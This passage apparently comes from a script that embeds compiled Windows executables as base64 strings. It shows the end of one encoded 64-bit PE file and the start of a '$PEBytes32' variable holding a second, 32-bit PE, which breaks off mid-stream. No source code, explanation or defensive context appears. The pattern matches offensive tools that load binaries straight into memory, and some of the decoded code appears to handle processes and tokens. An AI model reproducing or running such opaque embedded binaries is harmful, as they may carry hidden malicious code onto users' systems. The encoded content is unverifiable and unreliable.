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kYWxvbmU9J3llcyc/Pg0KPGFzc2VtYmx5IHhtbG5zPSd1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MScgbWFuaWZlc3RWZXJzaW9uPScxLjAnPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0nYXNJbnZva2VyJyB1aUFjY2Vzcz0nZmFsc2UnIC8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQo8L2Fzc2VtYmx5Pg0KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAEAUAEAAHiigKKIoqCiqKKworiiwKLYouCi6KJYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNisAAAAQAEAmAAAAECmSKZQplimYKZopnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcopzCnSKdQp1inYKdop3CneKeAp4inmKegp6iosKi4qMCo4KjoqKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4AAABQAQBkAAAAEKgYqCCoKKhAqUipUKlYqaituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AYAEACAIAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKFIoVihaKF4oYihmKGoobihyKHYoeih+KEIohiiKKI4okiiWKJooniiiKKYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir4KvwqwCsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAHABAEwBAAAAoBCgIKAwoECgUKBgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKoAkAEA0AAAAIChiKGQoZihoKGoobChuKHAocih0KHYoeCh6KHwofihAKIIohCiGKIgoiiiMKI4okCiSKJQoliiYKJoonCieKKAooiikKKYoqCiqKKworiiwKLIotCi2KLgouii8KL4ogCjCKMQoxijIKMoozCjOKNAo0ijUKNYo2CjaKNwo3ijgKOIo5CjmKOgo6ijsKO4o8CjyKPQo9ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpAAAAKABAAwAAAD4qAAAANABALQAAAAgoDCgUKVYpcCnyKfQp9in4Kfop/Cn+KcAqAioQK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivAOABAMAAAAAAoAigEKAYoCCgKKAwoDigQKBIoFCgWKBgoGigcKB4oICgyKDooAihKKFIoYChmKGgoaihsKH4oQiiGKIoojiiSKJYomiieKKIopiiqKK4osii2KLooviiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ij0KPYo+Cj6KPwo/ijAKQIpBCkGKQopDCkOKRApEikUKRYpGCkcKR4pICkuKTIp9Cn2KfgpwioMKhYqICoqKjIqPCoKKlgqZCpAAAAAAAAAAAAAAAAAAAAAA==' + $PEBytes32 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADb9Qckn5Rpd5+UaXeflGl32cW2d4qUaXfZxYl36ZRpd9nFiHexlGl3Qmuid5qUaXeflGh3yZRpd5LGjHedlGl3ksayd56UaXeSxrd3npRpd1JpY2iflGl3AAAAAAAAAAAAAAAAAAAAAFBFAABMAQUAt1YPVwAAAAAAAAAA4AACAQsBDAAABAEAALYAAAAAAAC2PQAAABAAAAAgAQAAAEAAABAAAAACAAAGAAAAAAAAAAYAAAAAAAAAAAACAAAEAAAAAAAAAwBAgQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAXIQBADwAAAAA0AEA4AEAAAAAAAAAAAAAAAAAAAAAAAAA4AEAuBIAAIAhAQA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaHgBAEAAAAAAAAAAAAAAAAAgAQAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAB7AwEAABAAAAAEAQAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAACmsAAAAgAQAAbAAAAAgBAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAEAzAAAAkAEAABQAAAB0AQAAAAAAAAAAAAAAAABAAADALnJzcmMAAADgAQAAANABAAACAAAAiAEAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAuBIAAADgAQAAFAAAAIoBAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGhwE0EA6JQnAABZw8zMzMxoYBNBAOiEJwAAWcPMzMzMaFATQQDodCcAAFnDzMzMzFWL7PZFCAFWi/HHBhgvQQB0CVboUSgAAIPEBIvGXl3CBADMzMzMzMzMzMzMzMzMzFWL7ItFCItVDIkQiUgEXcIIAMzMzMzMzMzMzMzMzMzMVYvsiwGNVfiD7Aj/dQhS/1AMi1UMi0gEO0oEdQ6LADsCdQiwAYvlXcIIADLAi+VdwggAzMzMzMzMzMzMzMzMzFWL7ItFCDtIBHUNiwA7RQx1BrABXcIIADLAXcIIAMzMuBB1QQDDzMzMzMzMzMzMzFWL7FFW/3UMx0X8AAAAAOjCHAAAi3UIg8QEhcC6GHVBAA9F0MdGFA8AAADHRhAAAAAAxgYAgDoAdRQzyVFSi87oewoAAIvGXovlXcIIAIvKV415AYoBQYTAdfkrz19RUovO6FkKAACLxl6L5V3CCAC4KHVBAMPMzMzMzMzMzMzMVYvsUYtFDMdF/AAAAABWi3UIg/gBdShqFcdGFA8AAACLzsdGEAAAAABoNHVBAMYGAOgKCgAAi8Zei+VdwggAUFboOv///4vGXovlXcIIAMy4THVBAMPMzMzMzMzMzMzMVYvsUVb/dQzHRfwAAAAA6AwcAACLdQiDxASFwLoYdUEAD0XQx0YUDwAAAMdGEAAAAADGBgCAOgB1FDPJUVKLzuibCQAAi8Zei+VdwggAi8pXjXkBigFBhMB1+SvPX1FSi87oeQkAAIvGXovlXcIIAFWL7FaLdQxW6HkbAACDxASFwItFCIkwdAzHQATsoUEAXl3CCADHQATooUEAXl3CCADMzMzMzMzMzMzMzMzMzMxTi9yD7AiD5PCDxARVi2sEiWwkBIvsg+xoVldqRI1FmA9XwGoAUGYPf0Xg6ECeAACLNTwgQQCDxAzHRZhEAAAA/9aJRdD/1olF1P/WiUXYjUXgUI1FmMdFxAABAABQagBqAGoEaFR1QQBqAGoCaGR1QQBoZHVBAGhkdUEA/xUMIEEAhcB0aWoCagBqAI1F+FD/FUggQQBQagT/deD/FRwgQQCL+P8VNCBBAGoB/3XgiUX8/xU4IEEA/3XgizUgIEEA/9b/deT/1oX/dAyLRfhfXovlXYvjW8P/dfxocHVBAOhjJAAAg8QIagHoZygAAP8VNCBBAFBosHVBAOhIJAAAg8QIagHoTCgAAMzMzMzMzFWL7IPsGKEIkEEAM8WJRfxWUYlN7P8VRCBBAGjgdUEAaPR1QQD/FUAgQQBQ/xUwIEEAi/DHRfgAAAAAD1fAjUXsagBmD9ZF8FDHRfAMAAAAx0X0AgAAAP8VBCBBAI1F8FCLRexQUP/Wi/CF9nUvjUXoUFZqBv917P8VCCBBAF6FwHQ4/3Xs/xUoIEEAi038i0XoM83oPhsAAIvlXcP/dez/FSggQQBWaAB2QQDohyMAAIPECGoB6IsnAAD/FTQgQQBQaEh2QQDobCMAAIPECP917P8VKCBBAGoB6GcnAADMVYvsVot1CFeLPQQgQQCL//92BFb/14XAdfb/FTQgQQBQaIx2QQDoLSMAAIPECDPAX15dwgQAzMzMzMzMzMzMzFWL7IPk8Gr/aHMSQQBkoQAAAABQgeysAAAAoQiQQQAzxImEJKQAAABWV6EIkEEAM8RQjYQkuAAAAGSjAAAAAIN9CAKLRQyJRCQofTX/MGjIdkEA6LwgAACDxAiDyP+LjCS4AAAAZIkNAAAAAFlfXouMJKQAAAAzzOg6GgAAi+Vdw8dEJBgAAAAAx0QkHAAAAADoShIAAIlEJBhoAHdBAMeEJMQAAAAAAAAA6GkiAACDxAQz/+gX/f//UIlEJDD/FSQgQQCJRCQkhcAPhK8DAACLdCQYi9aLTgSAeQ0AdSiQOUEQcwWLSQjrBIvRiwmAeQ0AdOw71nQPO0IQcgqJVCQwjUQkMOsIiXQkII1EJCA5MHUWjUQkJFCNTCQc6N8DAACLTCQsiQjrC4tMJCxR/xUgIEEAR4H/6AMAAA+Mc/////90JBxoOHdBAOjJIQAAg8QIg3wkHAAPhnACAACLTCQYiwmLSRTodf3//1BoUHdBAIlEJCzoniEAAIt8JCCDxAiLNzv3D4SDAAAA6wONSQBqCOijJQAAi04Ug8QEiUQkIIkIjUgEUWoC/3QkLP8VFCBBAGoAagD/dCQoaHAUQABqAGoA/xUsIEEAgH4NAHU6i0YIgHgNAHUWi/CLBoB4DQB1J4vwiwaAeA0AdPbrG4tGBIB4DQB1EDtwCHULi/CLQASAeA0AdPCL8Dv3dYKLfQhqRI1EJFAPV8BqAFBmD39EJEDoGJoAADPAx0QkWEQAAACDxAzHhCSsAAAABwAAAMeEJKgAAAAAAAAAZomEJJgAAACNcAHGhCTAAAAAATv+fm6LRCQoixSwZoM6AHUEM8DrH4vCjXgC6waNmwAAAABmiwiDwAJmhcl19SvHi30I0fhQUo2MJKAAAADoAAYAAI1H/zvwfRNqAWhkd0EAjYwkoAAAAOjmBQAARjv3fKODvCSsAAAACIuEJJgAAABzB42EJJgAAABQaGh3QQDoMh4AAIPECI1MJDSDvCSsAAAACI2EJJgAAAAPQ4QkmAAAAFGNTCRQUWoAagBqBFBqAGoCaGR1QQBoZHVBAGhkdUEA/xUMIEEAhcB1IoO8JKwAAAAID4LZ/v///7QkmAAAAOilIAAAg8QE6cX+//+NRCQkUGgAAAAC/3QkPP8VECBBAIXAdQz/dCQ4/xUoIEEA6zeNRCQox0QkKAAAAABQagSNRCQoUGoU/3QkNP8VACBBAIXAdQz/dCQ4/xUoIEEA6weDfCQgAHROg7wkrAAAAAhyD/+0JJgAAADoLCAAAIPEBGgMeEEA6E4fAACDxASLRCQYjUwkGFD/MI1EJDBQ6J4FAAD/dCQY6P4fAACDxAQzwOlp/P//aJB3QQDoFR0AAIPEBGr//3QkOP8VOCBBAP90JDSLNSAgQQD/1v90JDj/1oO8JKwAAAAIcg//tCSYAAAA6LMfAACDxAQzwMeEJKwAAAAHAAAAZomEJJgAAACNTCQYi0QkGFDHhCSsAAAAAAAAAP8wjUQkOFDoEgUAAP90JBjoch8AAIPEBOnc+////xU0IEEAUGgcd0EA6IgeAACDxAhqAeiMIgAAzMzMzMzMVYvsUVaL8YsGUP8wjUX8UOjLBAAA/zboLR8AAIPEBF6L5V3DzMzMzMzMzMzMzMzMVovxg34UCHIK/zboCR8AAIPEBMdGFAcAAAAzwMdGEAAAAABmiQZew8zMzMzMzMzMVYvsU4vZi00IVleLO4v3i0cEgHgNAHUcixGNmwAAAAA5UBBzBYtACOsEi/CLAIB4DQB07Dv3dBGLATtGEHIKX41GFF5bXcIEAFGNRQiJTQhQUYvL6LcNAABQg8AQi8tQVo1FCFDo1g0AAItFCF9eg8AUW13CBADMzMzMzMzMzMxVi+xTi10IVleL8YtNDIt7EDv5D4LpAAAAK/k5fRAPQn0QO/N1R40EDzlGEA+C2gAAAIN+FBCJRhByGYsWUWoAi87GBAIA6DUCAABfi8ZeW13CDACL1lFqAIvOxgQCAOgcAgAAX4vGXltdwgwAg//+D4egAAAAi0YUO8dzJP92EIvOV+gYBAAAi00Mhf90aoN7FBByAosbg34UEHIqixbrKIX/deqJfhCD+BByDosGX8YAAIvGXltdwgwAi8ZfXlvGAABdwgwAi9aF/3QOV40EC1BS6LgiAACDxAyDfhQQiX4Qcg+LBsYEOACLxl9eW13CDACLxsYEOABfi8ZeW13CDABoOHhBAOj9EwAAaDh4QQDo8xMAAGgoeEEA6LsTAADMzMzMzMzMzMzMzMzMzMzMi9GLAoB4DQB1QotICIB5DQB1HIsBgHgNAHUP6wONSQCLyIsBgHgNAHT2iQqLwsOLQASAeA0AdRKLCjtICHULiQKLQASAeA0AdO6JAovCw8xVi+xTi10IVovxhdt0V4tOFIP5EHIEiwbrAovGO9hyR